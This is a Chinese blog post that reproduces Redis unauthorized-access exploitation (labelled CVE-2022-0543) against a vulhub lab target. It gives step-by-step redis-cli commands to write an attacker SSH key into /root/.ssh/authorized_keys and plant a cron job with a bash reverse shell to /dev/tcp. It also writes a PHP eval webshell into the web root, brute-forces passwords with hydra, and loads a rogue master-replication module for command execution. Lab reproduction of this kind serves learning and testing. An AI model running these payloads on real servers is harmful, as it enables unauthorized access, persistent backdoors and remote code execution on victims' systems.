redis未授权(CVE-2022-0543)
概述
Redis 默认绑定在 0.0.0.0:6379
,在未配置防火墙或访问控制的情况下会将服务暴露在公网上。若未设置访问密码(默认通常为空),攻击者可直接未授权访问 Redis。利用 Redis 提供的 CONFIG
命令,攻击者可修改配置并将数据持久化到指定路径,从而实现向服务器写入任意文件。通过该方式,攻击者可将自己的 SSH 公钥写入 /root/.ssh/authorized_keys
文件中,进而使用对应私钥远程登录目标主机,获取系统权限。
条件
- Redis服务以root用户身份运行,权限较高。
- Redis未设置密码或使用弱密码,允许免密或弱认证访问。
- Redis监听在公网地址(如
0.0.0.0:6379
),且未配置防火墙等访问控制,导致任意IP均可连接。
方法
- 使用
INFO
命令获取Redis服务器参数和敏感信息,辅助渗透。 - 上传SSH公钥,实现免密码SSH登录。
- 利用
crontab
定时任务反弹Shell。 - 在Web目录写入WebShell。
- 利用Redis主从复制机制实现远程代码执行(RCE)。
危害
- 攻击者无需认证即可访问内部数据,导致敏感信息泄露,同时可恶意执行
flushall
清空所有数据。 - 攻击者可利用
EVAL
命令执行 Lua 代码,或通过数据备份功能向磁盘写入后门程序。 - 最严重的情况是,当 Redis 以 root 身份运行时,攻击者可写入 root 账户的 SSH 公钥,实现免密码远程登录受害服务器。
漏洞复现
环境准备
vulhub起靶场
靶场目录和启动命令下面都有
docker compose up
docker ps
攻击机环境准备
wget http://download.redis.io/releases/redis-2.8.12.tar.gz
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h
测试连通性
漏洞探测
端口扫描
nmap -sV --open -p- 192.168.64.10
通常 Redis 服务默认开放在 6379 端口,但我的靶机将其映射到了 52018 端口。但是nmap 仍成功识别出该端口运行的是 Redis 服务。
连接redis
以下命令用于连接远程 Redis 服务器
./redis-cli -h 192.168.64.10 -p 52018
./redis-cli
表示使用当前目录下的 Redis 命令行客户端进行连接,-h
参数用于指定目标主机的 IP 地址(此处为 192.168.64.10
),-p
用于指定 Redis 服务监听的端口号(此处为 52018
)。
获得SSH登陆权限
可以通过向 Redis 数据库中写入 SSH 公钥的方式,获取目标服务器的 SSH 登录权限。
原理
利用 Redis 未授权访问漏洞,将本机的 SSH 公钥作为一个字符串写入 Redis 中(key 值可以随意),然后通过修改 Redis 的工作目录为 /root/.ssh
,并将保存文件名设置为 authorized_keys
。这样,当 Redis 执行保存操作时,便会将 SSH 公钥写入到目标服务器的 /root/.ssh/authorized_keys
文件中,从而实现免密登录。
生成key
使用以下命令生成一对 SSH 密钥(默认生成 id_rsa
和 id_rsa.pub
)
ssh-keygen -t rsa
执行命令后按回车使用默认路径和空密码即可。生成完成后,公钥文件 id_rsa.pub
将用于写入目标 Redis 服务器,实现后续的免密 SSH 登录。
导入key.txt
文件
以下命令将本机生成的公钥包装成一个带换行的文件 key.txt
,用于后续写入 Redis
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
写入靶机
将 key.txt
的内容写入 Redis 缓存
cat key.txt | ./redis-cli -h 192.168.64.10 -p 51622 -x set test
说明:使用 -x
选项可以将标准输入内容作为值写入键 test
。(注:由于靶机重启,端口变更为 51622)
设置靶机ssh文件
注意如果这里使用docker起环境就不能写入文件(没有权限),下文有exp地址.
./redis-cli -h 192.168.64.10 -p 51622
# 设置 Redis 的工作目录为目标机器的 /root/.ssh 目录
config set dir /root/.ssh
# 设置保存文件名为 authorized_keys(SSH 公钥默认认证文件)
config set dbfilename authorized_keys
# 查看当前所有 key,确认公钥是否已写入缓存
keys *
get test# 将缓存中的数据写入到硬盘文件
save# 之后即可通过 SSH 免密码登录目标主机
ssh root@192.168.64.10# 登录后可以查看写入的公钥文件内容
cat /root/.ssh/authorized_keys
注意:如果 Redis 运行在 Docker 容器中,通常没有权限写入文件系统,无法完成此操作。后文会提供对应的 Exploit 脚本地址。
漏洞利用
通过 crontab
定时任务反弹
原理与写入公钥类似,只是写入内容和路径不同。通过将反弹shell命令写入 /var/spool/cron/root
,实现定时执行反弹shell。
# 本地监听端口(端口可自定义,避免冲突)
nc -lv 6666# 连接 Redis,写入反弹shell任务
./redis-cli -h 192.168.64.10
set test2 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/客户端IP/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
Web目录写入 WebShell
利用 Redis 写入 Web 目录,生成 WebShell,实现远程代码执行。
./redis-cli -h 192.168.64.10
config set dir /var/www/html
set shell "\n\n\n<?php @eval(\$_POST['wintry']);?>\n\n\n"
config set dbfilename shell.php
save# 利用hydra爆破redis密码(若设置了密码)
hydra -P passwd.txt redis://192.168.1.111
利用 Redis 主从复制实现远程命令执行 (ECE)
Redis 通过主从复制机制分摊压力,但可被攻击者利用伪装为 Redis 主节点,传输恶意模块,实现命令执行。
攻击思路:
- 伪装成 Redis 服务器,欺骗受害者将其设置为主节点。
- 传输恶意模块(.so 文件)到受害者。
- 受害者加载该模块,实现任意命令执行。
./redis-cli -h 192.168.64.10
MODULE LOAD /root/redis-rogue-server/exp.so
system.exec "whoami"
Redis 常用命令汇总
redis-cli -h ip -p 6379 -a passwd # 连接远程Redis
info # 查看Redis信息
set key value # 设置键值对
get key # 获取键值
incr key # 递增键值
keys * # 查看所有键
config set protected-mode no # 关闭保护模式
config set dir /path/to/dir # 设置保存目录
config set dbfilename filename.rdb # 设置保存文件名
save # 保存快照到磁盘
flushall # 清空所有数据
del key # 删除指定键
slaveof ip port # 设置主从复制关系
mset k1 v1 k2 v2 k3 v3 # 批量设置键值
mget k1 k2 k3 # 批量获取键值
参考文章
- Redis未授权访问 (https://wiki.wgpsec.org/knowledge/web/unauthorized.html#redis)
- redis未授权漏洞复现(超详细)(https://www.cnblogs.com/qingzhang/articles/18195354)
- redis未授权访问漏洞【vulhub靶场】复现(https://blog.csdn.net/m0_55854679/article/details/126100539)
相关文章:

redis未授权(CVE-2022-0543)
概述 Redis 默认绑定在 0.0.0.0:6379,在未配置防火墙或访问控制的情况下会将服务暴露在公网上。若未设置访问密码(默认通常为空),攻击者可直接未授权访问 Redis。利用 Redis 提供的 CONFIG 命令,攻击者可修改配置并将…...

【运维实战】Linux 中su和sudo之间的区别以及如何配置sudo!
Linux 系统相比其他操作系统具有更高的安全性,其安全机制的核心之一在于用户管理策略和权限控制--普通用户默认无权执行任何系统级操作。 若普通用户需要进行系统级变更,必须通过su或sudo命令提权。 1.su与sudo的本质区别 su 要求直接共享 root 密码&…...
LevelDB、BoltDB 和 RocksDB区块链应用比较
LevelDB、BoltDB 和 RocksDB 是三种常用的键值存储数据库,它们在区块链领域(如以太坊、比特币等)或其他高性能应用中有广泛应用。虽然它们都是嵌入式键值存储,但设计目标、性能特性、功能支持和适用场景有显著差异。以下是它们的详…...
c/c++的opencv图像金字塔缩放
图像金字塔缩放:OpenCV C/C 实践 📐 图像金字塔是计算机视觉中一种重要且基础的多尺度表示方法。它通过对原始图像进行连续的下采样(缩小)或上采样(放大)操作,生成一系列不同分辨率的图像。这些…...
PDF文件转换之输出指定页到新的 PDF 文件
背景 一份 PDF 学习资料需要打印其中某几页,文件有几百兆,看到 WPS 有PDF拆分功能,但是需要会员,开了一个月会员后完成了转换。突然想到,会员到期后如果还要拆解的话,怎么办呢?PDF 文件拆解功能…...

浏览器之禁止打开控制台【F12】
前言 在有时我们的日常开发工作中,有些项目要求我们增加禁用控制台的要求,这种虽然很鸡肋,但是它确实存在,并且会让哈哈心里觉得很有成就感。 所以今天他来了。 文章目录 前言无限debugger实现思路:效果如下࿱…...
进阶智能体实战九、图文需求分析助手(ChatGpt多模态版)(帮你生成 模块划分+页面+表设计、状态机、工作流、ER模型)
🧠 基于 ChatGPT 多模态大模型的需求文档分析助手 本文将介绍如何利用 OpenAI 的 GPT-4o 多模态能力,构建一个智能的需求文档分析助手,自动提取功能模块、菜单设计、字段设计、状态机、流程图和 ER 模型等关键内容。 一、🔧 环境准备 在开始之前,请确保您已经完成了基础…...

GEARS以及与基础模型结合
理解基因扰动的反应是众多生物医学应用的核心。然而,可能的多基因扰动组合数量呈指数级增长,严重限制了实验探究的范围。在此,图增强基因激活与抑制模拟器(GEARS),将深度学习与基因-基因关系知识图谱相结合…...
SFINAE(替换并不是错误)机制详解详解
C—SFINAE机制详解 1. 核心概念 SFINAE(替换失败并非错误)是C模板元编程的核心机制,它规定了: 在模板参数推导/替换过程中如果某个替换导致无效代码不会引发编译错误而是从候选函数集中静默移除该模板特化 关键特性 template …...
怎么用外网打开内网的网址?如在异地在家连接访问公司局域网办公网站
什么是内网:即本地网络,私有网,内网IP,如学校局域网,家庭内网,公司内部网络等。可以简单理解为同一个路由下的几个电脑网络。 外网概念:即公网,互联网,是相对于内网而言…...

计算机网络 | 1.1 计算机网络概述思维导图
附大纲: 计算机网络的概念 一个通过通信设备与线路把不同计算机系统连接起来,实现资源共享和信息传递的系统 计算机网络的组成 从组成成分上 硬件:主机、通信链路、交换设备、通信处理机软件:网络操作系统、聊天软件等协议&…...
AI对软件工程的影响及未来发展路径分析报告
目录 第一部分:引言 研究背景与意义 报告框架与方法论 第二部分:AI对不同行业软件工程的影响分析 数字化行业 制造业 零售业 工业领域 第三部分:大厂AI软件工程实践案例分析 微软 谷歌 阿里巴巴 华为 第四部分:未来…...
redis缓存与数据库协调读写机制设计
1.读机制: 读机制没有太大的争议点,因为缓存机制的设计,就是为了更快的命中目标数据,所以读机制先天固定好了:先去读取缓存,缓存未命中再去读取数据库。 2.写机制: 写机制其实也没什么争议点…...

最悉心的指导教程——阿里云创建ECS实例教程+Vue+Django前后端的服务器部署(通过宝塔面板)
各位看官老爷们,点击关注不迷路哟。你的点赞、收藏,一键三连,是我持续更新的动力哟!!! 阿里云创建ECS实例教程 注意: 阿里云有300元额度的免费适用期哟 白嫖~~~~ 注册了阿里云账户后&#x…...
【Python】os模块
目录 🌟 前言🏗️ 技术背景与价值🩹 当前技术痛点🛠️ 解决方案概述👥 目标读者说明 🧠 一、技术原理剖析📊 核心架构图解💡 核心作用讲解🔧 关键技术模块说明⚖️ 技术选…...
Syslog 全面介绍及在 C 语言中的应用
Syslog 概述 Syslog 是一种工业标准的日志记录协议,用于在网络设备之间传递日志消息。它最早由 Eric Allman 在 1980 年代为 BSD Unix 开发,现在已成为系统和网络管理的重要组成部分。Syslog 协议允许设备将事件消息发送到中央服务器(称为 sy…...

windows中Redis、MySQL 和 Elasticsearch启动并正确监听指定端口
Redis:在 localhost 上启动,并监听端口 6379 MySQL:在 localhost 上启动,并监听端口 3306 Elasticsearch:在 127.0.0.1 上启动,并监听端口 9300 1. Redis 确保 Redis 在 localhost 上启动并监听端口 6379…...
Paimon远程文件系统连接机制解析
Paimon 在处理与远程文件系统的连接和使用方面,设计了一套灵活的抽象机制。下面将结合源代码分析 Paimon 是如何实现这一点的。 核心思想是定义一个通用的 FileIO 接口,然后为不同的文件系统提供具体的实现。对于常见的 HDFS、S3、OSS 等,Pa…...

学者观察 | Web3.0的技术革新与挑战——北京理工大学教授沈蒙
导语 沈蒙老师认为Web3.0正推动形成新型数据基础设施架构和数据要素流通机制,有望在数字经济时代发挥重要作用,对我国经济发展和社会进步将产生深远影响。AI在推动Web3.0发展方面具有巨大的潜力,但在隐私保护、公平性与安全性等方面也存在“…...

pycharm终端遇不显示虚拟环境的问题
大部分我们用pycharm会配合我们的anaconda来使用,但是配置好后,可能会出现pycharm终端不显示虚拟环境的问题。 首先是确定不显示环境,下图中如果没有这个方框,就是不显示虚拟环境。此时用pip或者conda的命令是会提示不是 “不是内…...

聊聊网络变压器的浪涌等级标准是怎样划分的呢?
Hqst盈盛(华强盛)电子导读:聊聊网络变压器的浪涌等级标准是怎样划分的呢? 在和做防雷产品的客户的深度沟通网络变压器产品选型中发现:客户对网络变压器的浪涌等级划分也很希望有更深的了解,今天就这个问题和…...

2025年Google I/O大会上,谷歌展示了一系列旨在提升开发效率与Web体验的全新功能
每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…...

ONLYOFFICE文档API:编辑器的品牌定制化
在当今数字化办公时代,文档编辑器已成为各类企业、组织和开发者不可或缺的工具之一。ONLYOFFICE 文档提供的功能丰富且强大的文档编辑 API,让开发者能够根据自己的产品需求和品牌特点,定制编辑器界面,实现品牌化展示,为…...

HTTP/HTTPS与SOCKS5三大代理IP协议,如何选择最佳协议?
在复杂多变的网络环境中,代理协议的选择直接影响数据安全、访问效率和业务稳定性。HTTP、HTTPS和SOCKS5作为三大主流代理协议,各自针对不同场景提供独特的解决方案。本文将从协议特性、性能对比到选型策略,为您揭示如何根据业务需求精准匹配最…...

远程调用 | OpenFeign+LoadBalanced的使用
目录 RestTemplate 注入 OpenFeign 服务 LoadBalanced 服务 LoadBalanced 注解 RestTemplate 注入 创建 配置类,这里配置后 就不用再重新new一个了,而是直接调用即可 import org.springframework.cloud.client.loadbalancer.LoadBalanced; import …...

NSSCTF [NISACTF 2022]ezheap
2058.[NISACTF 2022]ezheap(堆溢出) [NISACTF 2022]ezheap 1.准备 2.ida分析 main函数 int __cdecl main(int argc, const char **argv, const char **envp) {char *command; // [esp8h] [ebp-10h]char *s; // [espCh] [ebp-Ch]setbuf(stdin, 0);setbuf(stdout, 0);s (cha…...
ADB推送文件到指定路径解析
您执行的命令 adb push ota.zip /sdcard/Download 中,目标路径 /sdcard/Download 是您显式指定的,因此 ADB 会直接将文件推送到此位置。具体过程如下: 1. 命令结构解析 adb push:ADB 的推送指令。ota.zip:本地计算机上…...

【HarmonyOS Next之旅】DevEco Studio使用指南(二十七) -> 开发云函数
目录 1 -> 开发流程 2 -> 创建并配置函数 2.1 -> 创建函数 2.2 -> 配置函数 3 -> 开发函数 4 -> 调试函数 4.1 -> 前提条件 4.2 -> 通过本地调用方式调试函数 4.3 -> 通过远程调用方式调试函数 5 -> 部署函数 1 -> 开发流程 云函数…...
ansible中的inventory.ini 文件详解
1. 主机定义 主机是 Ansible 管理的最小单元,可以是 IP 或域名,支持直接定义或附加参数。 基础语法 # 直接定义主机(IP 或域名) 192.168.1.10 example.com# 定义主机并指定连接参数(如端口、用户等) web…...
基于AOD-Net与GAN的深度学习去雾算法开发
基于AOD-Net与GAN的深度学习去雾算法开发 1. 引言 1.1 图像去雾研究意义 大气散射现象导致的图像质量退化对计算机视觉应用产生严重影响… 2. 理论基础 2.1 大气散射物理模型 经典模型描述为: I ( x ) = J ( x ) t ( x...